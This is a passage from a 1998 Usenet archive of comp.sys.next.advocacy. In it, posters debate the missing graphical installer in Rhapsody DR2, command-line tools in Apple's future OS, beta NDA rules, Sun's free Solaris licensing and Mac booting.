References: <35d1c638.1269194@news.icx.net> <6qojpd$tu$1@news.idiom.com> <6qp1oa$2gf$1@news.xmission.com> <35d05d98.0@news.depaul.edu> <6qpub6$8oo@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>>> There's the command line installer.sh that you can use to install
>>> packages, but there is no Installer.app. The closest you get on the
>>> GUI side is OpenUp.app by Scott Anguish, but that's not quite the
>>> same thing.
>
> This is not acceptable for a consumer OS. Yes, I understand the shortcoming
> will be removed. If Apple ships a command-line interface with its
> future OSes, it must have a "certified for MacOS" logo, which makes sure
> that ISVs do not rely on command-line tools. Apple accomplishes a similar
> effect today by not having command-line tools standard in the OS; ( but
> this hurts remote administration capabilities.)
For your reaction, it looks like Greg Anderson was right to point out that
Rhapsody is under NDA. Rhapsody is a _beta_. Significant parts of it are in
flux, and in the interim, these parts may well be broken while Apple produces
(hopefully superior) replacements.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: Tue, 11 Aug 1998 18:08:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qq1bd$qbb$1@nnrp1.dejanews.com>
References: <35d1c638.1269194@news.icx.net> <6qojpd$tu$1@news.idiom.com> <6qp1oa$2gf$1@news.xmission.com> <35d05d98.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > > -> I can't find any installation app that recognizes .pkg's in Rhapsody
> > > -> DR2 for PCs.
>
> > There's the command line installer.sh that you can use to install packages,
> > but there is no Installer.app. The closest you get on the GUI side is
> > OpenUp.app by Scott Anguish, but that's not quite the same thing.
>
> Hm. So why hasn't anyone hacked together a quicky GUI app to
> drive installer.sh?
> (Presumably because y'all thought Apple would have one in DR2.)
The key question is: will there be one in Rhapsody^H^H^H Mac OS X Server?
Stefano Pagiola
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: ERASE.this.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: Mac booting (was: APPLE"S MINDSHARE SKYROCKETING!)
Date: Tue, 11 Aug 1998 20:05:41 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1ddloab.11gepy1krlth6N@hoorn52.multiweb.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <gmgraves-0808981534410001@sf-usr1-24-152.dialup.slip.net> <35cd6ebe.86957801@news.iafrica.com>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
<cquirke@iafrica.com> wrote:
> >> What might be impressive is if you can boot off the CD-ROM without any
> >> reference to the HD at all (i.e. can remove the HD, still works) for
> >> debugging and virus cleaning purposes. I've heard this is possible,
> >> and that would be a major advantage...
>
> >Get ready to be impressed. That's exactly how it works.
>
> I was, and am! ;-)
Why? Mac's have these huge ROM's that initialize the computer, give a
beep (or boing whatever) to let you know that it's halfway and show a
little icon to tell you the hardware is all ok. Then it checks a pram
chip to see which system you would like to start a tries to do so, if it
fails it starts searching for an intact systems on any available media
(incuding ZIP/JAZZ or any other SCSI stuff and ofcourse the CD-ROM). So
even when your internal disk is f*cked up all you need to do is make a
system available, you don't even have to remember the keycombo!
The cool news is that Apple (starting with the iMac) is removing all
non-essential stuff out of the ROM and into images which can be loaded
faster into RAM from (wider data stream) disks. This makes updates
easier (think about the Mac OS X and the 'old' hardware problem) and
even gives a general speed boost as todays RAM is much faster then ROM.
The 233MHz iMac will be faster than the standard G3 233MHz computer.
It is rumored that the iMac will initialize the Ethernet port the same
way, making it net bootable. Wild ideas start to pop up as one can
imagine the following: After school time you would like to use the
available power, you could remote start some iMacs and load them with a
specialized Linux kernel, instead of Mac OS, and do some serious number
crunching.
Dennis SCP
--
[MS Office 98 Assistant: Uw signature is leeg. Weet u zeker dat u niets
nuttigs aan de mensheid heeft mede te delen?]
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: Tue, 11 Aug 1998 18:33:20 GMT
Organization: Internet Design Group, Inc.
Message-ID: <35d08742.14124491@news.icx.net>
References: <6qp1oa$2gf$1@news.xmission.com> <6qpo42$gu@shelob.afs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
>First of all, no one should be talking about this in an open forum,
>because DR2 is provided under non-disclosure. But to avoid perpetuating
>misinformation, I have very very very good reason to believe that this
>lapse is not permanent, in terms of the pending customer release.
OK. I started this and didn't intend to imply (nor did I IMO) that the
functionality will not be in the final release.
My question was answered. The end.
Thanks,
Michael
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Solaris is"Free"
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com>
Date: Tue, 11 Aug 1998 19:20:28 GMT
NNTP-Posting-Date: Tue, 11 Aug 1998 12:20:28 PDT
Organization: @Home Network
see: http://www.newsbytes.com/pubNews/116306.html
Sun adds SolarisOS to their free product offerings along with JDK. As long
as SolarisOS is employed in a non-commercial setting its free... sort of ±
there's still the cost to distribute. Sun charges for CD copying, shipping
and handling.
Available for PC's or SPARC machines the free licensing is a good move to
gather media attention on Sun's fortunes. In the wake of media coverage of
Microsoft's legal woes, Sun captures "good press" for freely licensing its
world class OS for PC's to anyone and everyone that can pay the freight.
Back in the days when price was the market differentiator
Price/feature/performance strategies worked. FreeOSes obsolete that strategy
by reducing differentiation to performance/features. Apple's focus on the
"value" of their Brand is hostage to a marketing "price" mentality.
I don't expect Apple to follow Sun's Scott McNealy leadership by "OpenSource"
MacOS X since Sun had nothing to lose and much to gain by attracting "PC"
users. Apple, on the other hand, has much to lose and little to gain by
putting out the "OS for Free" sign on its trademark Macintosh brand. The
whole concept of running Macintosh on a PC is an oxymoron. The very act a
knife in the belly of Apple's bottomline. It'd bleed red ink faster than did
the Clones.
McLuhan's maxim "media is the message" is at work here, Apple meet "The
Global Village" ...
-r
From: rodsmith@fwb.gulf.net (Rod Smith)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 10 Aug 1998 10:15:11 -0500
Organization: Factotums Unlimited
Message-ID: <rodsmith-1008981015120001@hermit24.fwb.gulf.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q89qq$mvp$1@nnrp1.dejanews.com> <joe.ragosta-0508980755110001@wil62.dol.net> <6qa97l$nlo$1@nnrp1.dejanews.com> <slrn6ss8fr.sf0.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6ss8fr.sf0.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote (in part):
>
> I develop my own computationally intensive software. There will always
> be bugs.
I remember back in the good-old-days being privileged to work with surely
one of the best ever real-time programmers. I'll call him Rob.
One day Rob got a call, at work, from a professor at a very prestigious
University (which shall nameless) about a minor, rapidly written,
real-time program that Rob had written several years earlier for power
grid switching.
This program had been running flawlessly since implementation.
The prof told Rob that he was rewriting the program to run under another
OS and would like to ask a few questions about the application (Rob was
not big on documentation and usually used from zero to five comments per
thousand lines of assembler source).
After Rob said he was busy but would answer some questions, the prof asked
why Rob checked for the validity of interrupts at interrupt answering.
Rob asked if the prof had ever seen R/T programs bomb for no apparent
reason. The Prof said yes, that this was the nature of R/T apps.
Rob said, "Not in mine," and hung up.
Enuf said.
RS
Rod Smith
Niceville, Florida
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 1998 19:36:07 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6qq6f7$9hd@newsb.netnews.att.com>
References: <35d1c638.1269194@news.icx.net> <35d05d98.0@news.depaul.edu> <6qpub6$8oo@newsb.netnews.att.com> <35d082db.0@news.depaul.edu>
Originator: gupta@tlctest
Sorry for the mis-attribution. Regarding the rest of comments :
I didn't write that Rhapsody is a consumer OS, nor did I mean to
imply so. I understand Rhapsody is a beta, under NDA (I don't have
either Rhapsody, or a NDA with Apple), and is likely to change.
The point is that if a command-line interface ships as a standard
part of future Apple OSes, then some vendor or the other (Microsoft?)
will do something that forces the user to use the command-line;
this even though providing a GUI may be easy, e.g., Rhapsody DR 2.
It would be nice if the market would weed out such a vendor, but
that is unlikely. If Apple ships a command-line interface as part
of the standard install of the OS, so that it is safe to assume
that it exists on a machine, then Apple must also have a logo
like "Certified for MacOS" and some logo requirements.
-arun gupta
>
>> This is not acceptable for a consumer OS.
>
>Rhapsody isn't a consumer OS.
>
>> Yes, I understand the shortcoming
>> will be removed. If Apple ships a command-line interface with its
>> future OSes, it must have a "certified for MacOS" logo, which makes sure
>> that ISVs do not rely on command-line tools. Apple accomplishes a similar
>> effect today by not having command-line tools standard in the OS; ( but
>> this hurts remote administration capabilities.)
>
>Actually, this hurts capabilities, period.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Proposed Solution to Command Line/Unix/GUI War (was Re: Where's Installer.app in Rhapsody DR2?)
Date: 11 Aug 1998 19:50:19 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qq79r$eqo$1@lwnws01.ne.highway1.com>
References: <35d1c638.1269194@news.icx.net> <6qojpd$tu$1@news.idiom.com> <6qp1oa$2gf$1@news.xmission.com> <35d05d98.0@news.depaul.edu> <6qpub6$8oo@newsb.netnews.att.com> <35d082db.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> > Yes, I understand the shortcoming will be removed. If Apple
> > ships a command-line interface with its future OSes, it must
> > have a "certified for MacOS" logo, which makes sure that ISVs
> > do not rely on command-line tools. Apple accomplishes a
> > similar effect today by not having command-line tools standard
> > in the OS; ( but this hurts remote administration capabilities.)
>
> Actually, this hurts capabilities, period.
To me, it seems there is an optimal solution to all this Unix/Command line
stuff that will benefit all factions. That is this. Include, by default,
all the unix tools and command line utilities. That way developers can take
as a given and therefor consistently make use of those tools to help them
develop and leverage better products for their customers. They can make
products like OpenUp.app or Stuffit.app and not have to reinvent gnutar and
gzip, and just know they are there; the same for networking, and many other
unix utils that have decades of refinement from some of the greatest minds in
computing. Then, they can have as an *optional* install a Terminal.app that
allows for command line interaction for those who want it (unix geeks and
developers). This way, developers can never expect that users would have
access to the command line, and never be lazy and require a user to use the
command line. This is a win for the user community in ease of use concerns,
it's a win for the user community in having developers be able to leverage
super cool core tools into their GUI apps, and it's a win for the developer
community in being able to leverage unix underpinnings and power (but not be
able to force unix UI ugliness onto the user base).
That's my win win proposal de jour. :)
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Message-ID: <forrestDELETE-THIS!-1108981255430001@term4-17.vta.west.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <29568-35CE1A48-42@newsd-123.bryant.webtv.net> <6qn8v6$3vt4@onews.collins.rockwell.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Tue, 11 Aug 1998 12:55:43 -0700
NNTP-Posting-Date: Tue, 11 Aug 1998 12:56:00 PDT
In article <6qn8v6$3vt4@onews.collins.rockwell.com>,
embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
> > >- Will not have man pages
> >
> > AppleGuide.
> No it won't. It will have new HTML documentation.
AppleScriptable HTML documentation, which approximates the functionality
of AppleGuide but in a standard format as opposed to Apple's proprietary
formats.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 11 Aug 1998 19:57:54 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qq7o2$eqo$2@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0708980530380001@207-172-128-210.s210.tnt1.col.erols.com> <6qlv1i$el2$2@lwnws01.ne.highway1.com> <hunschr-1108980050070001@pm6-153.acronet.net>
hunschr@suplet.net wrote:
> Try 8.1 and you will relax.
From what I understand, it's better, but still a bit worse than win95.
However, what is cool about 8.1+ is that the stereotype is changing. A good
thing. Again, no study on it, but I don't think we need one. I'm sure
there's truth to the improvement just based on the great number of anecdotal
exchanges.
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac Menu (Was Mac OS X UI)
Message-ID: <forrestDELETE-THIS!-1108981302200001@term4-17.vta.west.net>
References: <6qkeot$83$1@sibyl.sunrise.ch> <35CE46B8.58E8D773@ericsson.com> <35ce8e7a.0@nnrp1.news.uk.psi.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Tue, 11 Aug 1998 13:02:20 -0700
NNTP-Posting-Date: Tue, 11 Aug 1998 13:02:37 PDT
In article <35ce8e7a.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> most NeXT users have liked
> the idea of a 'shelf' for running app tiles - a resizable area that they get
> placed in, that can be set to always be above all the other windows (if you
> wish)
Kinda like the tear-off Application menu, eh? A resizable floating windoid
with menu-buttons in it which correspond to the items in the Application
menu, and new ones are added and removed as apps are opened and closed.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Where's Installer.app in Rhapsody DR2?
Newsgroups: comp.sys.next.advocacy
References: <35d1c638.1269194@news.icx.net> <35d05d98.0@news.depaul.edu> <6qpub6$8oo@newsb.netnews.att.com> <35d082db.0@news.depaul.edu> <6qq6f7$9hd@newsb.netnews.att.com>
Message-ID: <35d0a6df.0@news.depaul.edu>
Date: 11 Aug 98 20:17:35 GMT
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Sorry for the mis-attribution. Regarding the rest of comments :
>
> I didn't write that Rhapsody is a consumer OS, nor did I mean to
> imply so. I understand Rhapsody is a beta, under NDA (I don't have
> either Rhapsody, or a NDA with Apple), and is likely to change.
> The point is that if a command-line interface ships as a standard
> part of future Apple OSes, then some vendor or the other (Microsoft?)
> will do something that forces the user to use the command-line;
> this even though providing a GUI may be easy, e.g., Rhapsody DR 2.
This seems quite unlikely. I've not been forced to use a command
line in Windows lately, and if this problem is going to crop up
anywhere - it's in Windows. Not commercial software, not shareware,
not freeware.
Furthermore, it's stupid to require applications to have a GUI.
There are plenty of applications for which a GUI is overkill.
These applications are not going to be consumer applications; the
users of these programs know who they are.
> It would be nice if the market would weed out such a vendor, but
> that is unlikely. If Apple ships a command-line interface as part
> of the standard install of the OS, so that it is safe to assume
> that it exists on a machine, then Apple must also have a logo
> like "Certified for MacOS" and some logo requirements.
Bollocks. It's not a problem.
You're taking the lack of a GUI front-end IN A BETA release
of a NON-CONSUMER operating system, and using that to draw
conclusions about a SHIPPING CONSUMER OS that's a year away
from release.
This has been bashed out a zillion times. Evidently the lack
of an installer UI in the Rhapsody developer releases has again
stirred up latent CLI fears like dioxin rising from disturbed mud
at the bottom of Lake Michigan. There's no need to beat that
dead horse again.
- Jon
> >
> >> This is not acceptable for a consumer OS.
> >
> >Rhapsody isn't a consumer OS.
> >
> >> Yes, I understand the shortcoming
> >> will be removed. If Apple ships a command-line interface with its
> >> future OSes, it must have a "certified for MacOS" logo, which makes sure
> >> that ISVs do not rely on command-line tools. Apple accomplishes a similar
> >> effect today by not having command-line tools standard in the OS; ( but
> >> this hurts remote administration capabilities.)
> >
> >Actually, this hurts capabilities, period.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 11 Aug 1998 20:26:21 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qq9dd$o0h$1@nnrp02.primenet.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com>
Rex Riley <rr6013@yahoo.com> wrote:
: see: http://www.newsbytes.com/pubNews/116306.html
: Sun adds SolarisOS to their free product offerings along with JDK. As long
: as SolarisOS is employed in a non-commercial setting its free... sort of ±
: there's still the cost to distribute. Sun charges for CD copying, shipping
: and handling.
I find it amusing that Sun will set you up with a copy of the Gimp for
your Solaris system as well: www.sunfreeware.com
John
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.next.advocacy
Subject: new iMac spin
Date: 11 Aug 1998 20:32:32 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6qq9p0$9hn$1@vixen.cso.uiuc.edu>
Take a look at:
http://www.apple.com/hotnews/features/imacfactory.html
Seems as though Apple doesn't want people to get the wrong impression
about production capabilities.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 11 Aug 1998 21:10:18 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6qqbvq$a1b@newsb.netnews.att.com>
Originator: gupta@tlctest
In an article from December 1997, at
http://www.winntmag.com/Magazine/Article.cfm?IssueID=26&ArticleID=362
titled : NT 5.0 : Who Wants It?
I came across the following tidbit :
"Dataquest recently revised its NT forecast. The company once
predicted that by the end of 1997, NT would run on 11 million
desktops; now the company says that only 8 million desktops will
run NT.
....
"Dataquest says that some firms are moving to NT 4.0 slowly
because of the hype about NT 5.0."
**********
I wonder if it was the hype about NT 5.0 or if it was Linux
that caused the massive revision of Dataquest's forecast ?
-arun gupta
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 1998 21:13:42 GMT
Organization: MiscKit Development
Message-ID: <6qqc66$2gf$2@news.xmission.com>
References: <6qp1oa$2gf$1@news.xmission.com> <6qpo42$gu@shelob.afs.com>
NNTP-Posting-Date: 11 Aug 1998 21:13:42 GMT
Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> Don Yacktman writes
> > jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> > > Michael McCulloch may or may not have said:
> > > -> I can't find any installation app that recognizes .pkg's in
> > > -> Rhapsody DR2 for PCs. Am I missing something??
> > >
> > > Is this for real? Did apple screw the pooch on this one?
> >
> > There's the command line installer.sh that you can use to install
> > packages, but there is no Installer.app. The closest you get on the
> > GUI side is OpenUp.app by Scott Anguish,
>
> First of all, no one should be talking about this in an open forum,
> because DR2 is provided under non-disclosure. But to avoid perpetuating
> misinformation, I have very very very good reason to believe that this
> lapse is not permanent, in terms of the pending customer release.
There is NOTHING in my post that is NOT already public knowledge. Just look
at the install instructions in the READMEs of, say, the Omni packages which
ANYBODY can pick up.
I also didn't mean to imply anything about the future releases. NeXT had
Installer.app before, I fully expect to see some sort of Installer.app in the
future, presumably from Apple. My answer was directed at providing an answer
that applies right now, based upon publically available information.
Also, Greg, DR2 discussions are allowed. Note:
http://developer.apple.com/macosx/server/rhapfaq/2.html
Can I talk about Rhapsody with other developers?
Developers are free to discuss Rhapsody DR2 in public.
However, they are only allowed to demonstrate Rhapsody in
the context of demonstrating their Rhapsody-based applications.
Non-Apple personnel are not allowed to demonstrate Rhapsody
DR2 unless they have explicit permission from Apple's Worldwide
Developer Relations. Also, if you are planning on creating
published writings about Rhapsody, such as books or technical
articles, please contact Apple Public Relations at
media.help@apple.com for assistance and to ensure that your
writings will be accurate and do not violate confidentiality
obligations you have with Apple.
Created: 11/18/97
Modified: 6/16/98
I wouldn't have wasted the time to post this, but I want to make it crystal
clear that I take any and all NDAs that I sign quite seriously and would
never intentionally violate them.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 1998 20:29:47 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <902867386.904423@kelp.mbay.net>
References: <35d1c638.1269194@news.icx.net>
Cache-Post-Path: kelp.mbay.net!unknown@otter.mbay.net
In article <35d1c638.1269194@news.icx.net>,
Michael McCulloch <mmccullo@nospam.net> wrote:
>I can't find any installation app that recognizes .pkg's in Rhapsody
>DR2 for PCs.
You have to do it from the command line, /usr/bin/installer.sh
--
Don McGregor | It's only a game until someone puts out an eye.
mcgredo@mbay.net | Then it's a sport.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Tue, 11 Aug 1998 16:44:17 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D0BB31.C59D68BD@ericsson.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
rr6013@yahoo.com wrote:
> I don't expect Apple to follow Sun's Scott McNealy leadership by "OpenSource"
> MacOS X since Sun had nothing to lose and much to gain by attracting "PC"
> users. Apple, on the other hand, has much to lose and little to gain by
> putting out the "OS for Free" sign on its trademark Macintosh brand.
...according to Apple, you mean.
> The
> whole concept of running Macintosh on a PC is an oxymoron.
Again, this is the complaint we always hear by way of excuse. Some
people believe that without smashing this notion, Apple will be dead
shortly. Some of these people actually believe that Apple could survive
the smashing of its brands, notions, and shibboleths. Most of them don't
think Apple will ever do it, though. The last person with the balls to
try it was ousted.
> The very act a
> knife in the belly of Apple's bottomline. It'd bleed red ink faster than did
> the Clones.
This is only believed at large because, in my opinion, most Apple fans
*want* to be duped. Sun has sold clones successfully for years and never
had to abandon either its standards of quality or its ability to excel
in a mind-blowingly competitive performance market. Now that Sun is
giving its operating system away to non-commercial users, I'm
well-prepared to hear all the excuses for why Apple must instead
continue to exist in a fantasy world.
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac Menu (Was Mac OS X UI)
Date: 11 Aug 1998 21:51:07 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qqecb$jua$1@lwnws01.ne.highway1.com>
References: <6qkeot$83$1@sibyl.sunrise.ch> <35CE46B8.58E8D773@ericsson.com> <35ce8e7a.0@nnrp1.news.uk.psi.net> <forrestDELETE-THIS!-1108981302200001@term4-17.vta.west.net>
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
> In article <35ce8e7a.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
> (Richard Frith-Macdonald) wrote:
>
> > most NeXT users have liked the idea of a 'shelf' for running
> > app tiles - a resizable area that they get placed in, that can
> > be set to always be above all the other windows (if you wish)
>
> Kinda like the tear-off Application menu, eh? A resizable floating
> windoid with menu-buttons in it which correspond to the items in
> the Application menu, and new ones are added and removed as apps
> are opened and closed.
Nope.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 1998 21:40:19 GMT
Organization: Digital Fix Development
Message-ID: <6qqdo3$s0b$1@news.digifix.com>
References: <35d1c638.1269194@news.icx.net> <6qojpd$tu$1@news.idiom.com> <6qp1oa$2gf$1@news.xmission.com> <35d05d98.0@news.depaul.edu>
In-Reply-To: <35d05d98.0@news.depaul.edu>
On 08/11/98, Jonathan W Hendry wrote:
>Don Yacktman <don@misckit.com> wrote:
>> jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
>> > Michael McCulloch may or may not have said:
>> > -> I can't find any installation app that recognizes .pkg's in
Rhapsody
>> > -> DR2 for PCs.
>> > ->
>> > -> Am I missing something??
>> >
>> > Is this for real? Did apple screw the pooch on this one?
>
>> Sort of.
>
>> There's the command line installer.sh that you can use to install
packages,
>> but there is no Installer.app. The closest you get on the GUI side
is
>> OpenUp.app by Scott Anguish, but that's not quite the same thing.
>
>Hm. So why hasn't anyone hacked together a quicky GUI app to
>drive installer.sh?
>
That's what OpenUp is doing when you have the latest version
installed.
>;^)
>
>(Presumably because y'all thought Apple would have one in DR2.)
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 1998 21:41:50 GMT
Organization: Digital Fix Development
Message-ID: <6qqdqu$s0c$1@news.digifix.com>
References: <35d1c638.1269194@news.icx.net> <6qojpd$tu$1@news.idiom.com> <6qp1oa$2gf$1@news.xmission.com> <35d05d98.0@news.depaul.edu> <6qq1bd$qbb$1@nnrp1.dejanews.com>
In-Reply-To: <6qq1bd$qbb$1@nnrp1.dejanews.com>
On 08/11/98, spagiola@my-dejanews.com wrote:
>Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>> > > -> I can't find any installation app that recognizes .pkg's in
Rhapsody
>> > > -> DR2 for PCs.
>>
>> > There's the command line installer.sh that you can use to install
packages,
>> > but there is no Installer.app. The closest you get on the GUI
side is
>> > OpenUp.app by Scott Anguish, but that's not quite the same thing.
>>
>> Hm. So why hasn't anyone hacked together a quicky GUI app to
>> drive installer.sh?
>> (Presumably because y'all thought Apple would have one in DR2.)
>
>The key question is: will there be one in Rhapsody^H^H^H Mac OS X
